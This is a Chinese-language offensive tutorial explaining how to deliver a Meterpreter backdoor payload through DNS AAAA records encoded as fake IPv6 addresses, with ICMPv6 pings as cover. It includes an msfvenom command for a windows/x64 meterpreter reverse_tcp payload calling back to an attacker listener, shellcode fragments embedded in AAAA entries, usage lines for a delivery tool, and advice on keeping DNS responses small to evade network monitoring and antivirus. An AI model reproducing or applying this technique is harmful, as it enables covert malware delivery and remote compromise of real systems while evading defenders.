一、前言
在本文中,我想解釋如何在dns流量中利用ipv6位址(aaaa)記錄傳輸payload。在我之前的文章中,我解釋了如何利用dns和ptr記錄,現在我們将讨論aaaa記錄。
本文分為兩部分:
第一部分:dns aaaa記錄和icmpv6
第二部分:dns和aaaa記錄(大的dns aaaa記錄響應)
二、dns aaaa記錄和icmpv6
ipv6位址對于傳輸payload非常有用,讓我解釋下如何完成這個例子。
舉個例子,我們有一個ipv6位址如下:
fe80:1111:0034:abcd:ef00:ab11:ccf1:0000
這個例子中,我們能将xxxx部分用于我們的payload。
fe80:1111:xxxx:xxxx:xxxx:xxxx:xxxx:wxyz
我認為我們有兩種方式将ipv6位址用于我們的payload,第一個是我們使用dns和aaaa記錄,第二個是使用這些ipv6位址和dns aaaa記錄,也是ping6的icmpv6流量。
icmpv6和ping6:這個例子中,你能通過虛假的ipv6和注入的payload來改變攻擊者的ipv6位址,然後從後門系統中,你能通過循環ping6得到這些ipv6位址(icmpv6流量)。
是以我們有下面這些東西:
(後門系統)ip位址 = {192.168.1.120}
(攻擊者系統)ip位址 = {192.168.1.111
,fe80:1111:0034:abcd:ef00:ab11:ccf1:0000}
(攻擊者系統)dns名 = test.domain.com,和安裝的dns服務{dnsmasq或dnsspoof}
dns aaaa記錄和icmpv6步驟:
步驟1:(攻擊者dns伺服器)record0=>fe80:1111:0034:abcd:ef00:ab11:ccf1:0000 aaaa test.domain.com
步驟2:(後門系統)==>nslookup test.server.com 192.168.1.111
步驟3:(後門系統)循環ping6=>(攻擊者系統fe80:1111:0034:abcd:ef00:ab11:ccf1:0000)
步驟4:(後門系統)通過ping6響應在ipv6位址中轉儲出注入的payload,轉儲這些部分{0034:abcd:ef00:ab11:ccf1}
步驟5:(攻擊者dns伺服器)record0改為新的test.domain.com
步驟6:(攻擊者dns伺服器)record0=>fe80:1111:cf89:abff:000e:09b1:33b1:0001 aaaa test.domain.com
步驟6-1:(攻擊者系統)通過ifconfig添加或改變nic ipv6位址{新的ipv6位址:fe80:1111:cf89:abff:000e:09b1:33b1:0001}
步驟6-2:關于步驟3的ping6的響應=逾時或不可達(錯誤),這個時間是擷取新的ipv6位址的标志,或者你的流量被某些東西檢測到并阻止了。
步驟7:(後門系統)=>nslookup test.server.com 192.168.1.111
步驟8:(後門系統)循環ping6 test.domain.com=>
{新的ipv6位址fe80:1111:cf89:abff:000e:09b1:33b1:0001}
步驟9:(後門系統)通過ipv6的響應,從新的ipv6位址中轉儲出注入的payload,轉儲這些部分{cf89:abff:000e:09b1:33b1}
注1:我們何時能知道ipv6位址改變了?當來自攻擊者系統的ping6響應是逾時或者不可達。你也可以通過nslookup檢查。
注2:也可以使用多個ipv6位址為攻擊者的nic,這種情況下不需要步驟6-1。但是這樣你不能使用注1。是以這種情況下你應該使用定時器或者循環通過nslookup或類似的工具得到來自攻擊者系統的新的ipv6位址。意思是,從後門系統,你能逐行得到攻擊者系統的ipv6位址和dns
round-robin特征以及分組ipv6 dns域名。
在這些步驟之後,你能通過dns和icmpv6流量得到20位元組的payload:
payload0=fe80:1111:0034:abcd:ef00:ab11:ccf1:0000==>0034:abcd:ef00:ab11:ccf1
payload1=fe80:1111:cf89:abff:000e:09b1:33b1:0001==>cf89:abff:000e:09b1:33b1
是以我們在兩次ping6之後得到這個payload:
reponse:0034abcdef00ab11ccf1cf89abff000e09b133b1
但是在這個技術中,你隻能通過dns流量做到這個,意味着你能移除所有的ping6步驟。是以,如果你想不使用ping6和icmpv6流量就做到這個,你隻需要步驟2和7,通過dns響應從dns伺服器轉儲payload。但是我們将在第二部分中讨論讨論這個:(dns和aaaa記錄)
讓我們展示一些關于icmpv6方法的圖檔,沒有代碼和工具。
我将來可能會釋出c#代碼,并且也和這個文章一步一步介紹,但是我想展示關于dns aaaa + icmpv6技術的所有圖檔。
圖a
在圖a中,你能看到對于test.domain.com,我們有8個的aaaa記錄,你也能看到這個ipv6位址的ping響應,在這個技術中的dns和icmpv6,你能通過1或2下載下傳dns域名,然後如果你想使用icmpv6,你能ping6這些ipv6位址。
圖a中,我們有8個aaaa記錄,是以我們有8*10位元組=80位元組
meterpreter payload!
fe80:1111:fc48:83e4:f0e8:cc00:0000:ae0 test.domain.com
fe80:1111:4151:4150:5251:5648:31d2:ae1 test.domain.com
fe80:1111:6548:8b52:6048:8b52:1848:ae2 test.domain.com
fe80:1111:8b52:2048:8b72:5048:0fb7:ae3 test.domain.com
fe80:1111:4a4a:4d31:c948:31c0:ac3c:ae4 test.domain.com
fe80:1111:617c:022c:2041:c1c9:0d41:ae5 test.domain.com
fe80:1111:01c1:e2ed:5241:5148:8b52:ae6 test.domain.com
fe80:1111:208b:423c:4801:d066:8178:ae7 test.domain.com
payload0= fc4883e4f0e8cc000000 and counter = ae0
payload1= 415141505251564831d2 and counter = ae1
是以我們得到payload=
fc4883e4f0e8cc000000415141505251564831d2
為什麼ping,我們何時通過dns請求得到payload?
如果你想使用dns請求,如dns循環請求或者通過aaaa記錄有大的響應的dns請求,那麼這對于·dns監控工具檢測是一種特征。是以如果在每個dns響應之後對于aaaa記錄你有1或2個ping6,那麼我認為它是正常的流量,并且能通過dns監控裝置或者dns監控工具檢測的風險很小。
例如你能通過1或2或3個aaaa記錄使用一個響應一個請求。意思是如果響應有4個aaaa記錄,或者超過4個aaaa記錄,那麼可能有網絡監控裝置或工具将檢測你的流量,但是在這些網絡限制方面,soc/noc的家夥比我更有發言權。
正如你能在圖a中我的test.domain.com請求在響應中有8個aaaa記錄。
是以這種情況,我們應該在ipv6位址中将你的payload分組,dns名也是一樣。
讓我解釋一些icmpv6的東西,如果你想通過ipv6位址ping一個系統,首先你應該得到那個系統的ipv6位址,是以你需要dns請求,總是很重要的點是對于你要轉儲的所有ipv6位址和從ipv6位址中轉儲注入的meterpreter
payload,你需要多少dns請求?
一個請求?
如果你想通過一個請求和一個響應得到所有的ipv6位址,那麼你将在一個dns響應中包含大量的aaaa記錄,是以被檢測的風險很高。
看圖a1:
圖a1
并且在圖a2,你能看見2個請求的長度,第一個是小響應,第二個是大響應。
圖a2-如你所見,我們有兩個dns aaaa響應,第一個長度132(小響應)和第二個長度1503(大響應)
在本文中,我将通過類似圖a2中的dns aaaa記錄轉儲所有的ipv6位址來解釋一個請求和一個響應,但是在這種情況下我們知道dns+icmpv6也是有被檢測的風險的,如在圖a2 所見,我們的第二個響應長度很長,将導緻被檢測的風險。
兩個請求或者更多?
如你在圖b所見,我的payload在3個dns名中{test0.domian.com,test1.domain.com,test2.domain.com}.
并且我一次ping6一個ipv6位址,且得到了100%的ping回應。
是以在這個例子中,每個響應中我們有包含兩個aaaa記錄的3個請求和3個響應,在每個dnsaaaa響應之後我們還有icmpv6流量,最後我們也有一個小長度的dns響應。
圖b
注意:我的linux系統有多個ipv6位址,ping6回複在圖c中。
你能通過ifconfig或者多個ipv6賦給nic來完成步驟6-1,如圖c。
圖c
并且,圖c1中是我們的dns查詢:
圖c1
現在你能在圖d中看到另一個請求和響應分組的例子。
圖d
如圖e所見,對于dns請求和響應,我們的dns伺服器記錄。
圖e
無論如何,圖中所見的這種方法技術上是可行的,将來我将完成c#代碼。
三、dns和aaaa記錄(大的dns aaaa記錄響應)
現在,本文中我想讨論dns和aaaa記錄,并讨論如何通過從假的dns伺服器到後門系統的一個dns請求和dns響應得到這些payload。是以我們讨論大的aaaa響應,意味着在一個dns響應之後,你能通過一個dns
aaaa響應,在後門系統上得到所有的payload和meterpreter會話。
通過nativepayload_ip6dns工具,使用dns aaaa記錄傳輸後門payload的步驟:
步驟1:使用hosts檔案僞造假的dns伺服器。
這種情況下,對于攻擊者系統,我想使用dnsmasq工具和dnsmasq.hosts檔案。
在我們僞造檔案之前,你需要payload,是以能通過下面的指令得到payload:
msfvenom–arch x86_64 –platform windows -pwindows/x64/meterpreter/reverse_tcp lhost 192.168.1.50 -f c >/payload.txt
注意:這個例子中的192.168.1.50是攻擊者的虛假的dns伺服器,和攻擊者的metasploit listener。
現在你應該通過這個payload字元串僞造hosts檔案,如圖1,你能使用下面的文法僞造:
文法1: nativepayload_ip6dns.exe null 0034abcdef00ab11ccf1cf89abff000e09b133b1...
圖1
現在拷貝這些ipv6位址到dns hosts檔案中,如圖2,并且你需要在每行ipv6位址後面寫入dns域名。
圖2
這個例子中,我想使用工具dnsmasq作為dns伺服器,是以你能編輯/etc/hosts檔案或者/etc/dnsmasq.hosts。
它依賴你的dnsmasq工具的配置。
是以,如圖3,你能使用如下指令啟動dns伺服器。
圖3.
在啟動dns伺服器後,你的dnsmasq應該會從hosts檔案中至少讀取51個位址。
最後用下面的文法,通過一個dns ipv6 aaaa記錄響應,你将得到meterpreter會話(如圖a2中的大的響應,第二個dns響應,長度為1503)
文法: nativepayload_ip6dns.exe “fqdn” “fake dns server”
文法: nativepayload_ip6dns.exe test.domain.com 192.168.1.50
圖4
總而言之,dns流量的ptr記錄和ipv6 aaaa記錄對于傳輸payload并繞過網絡監控或者類似的東西非常有用,并且這些技術也能繞過反病毒軟體。
nativepayload_ip6dns.exe的c#源代碼:(dns aaaa記錄)
<a href="https://github.com/damonmohammadbagher/nativepayload_ip6dns">https://github.com/damonmohammadbagher/nativepayload_ip6dns</a>
nativepayload_dns.exe tool的c#源代碼:(dns ptr記錄)
<a href="https://github.com/damonmohammadbagher/nativepayload_dns">https://github.com/damonmohammadbagher/nativepayload_dns</a>
作者:myswsun
來源:51cto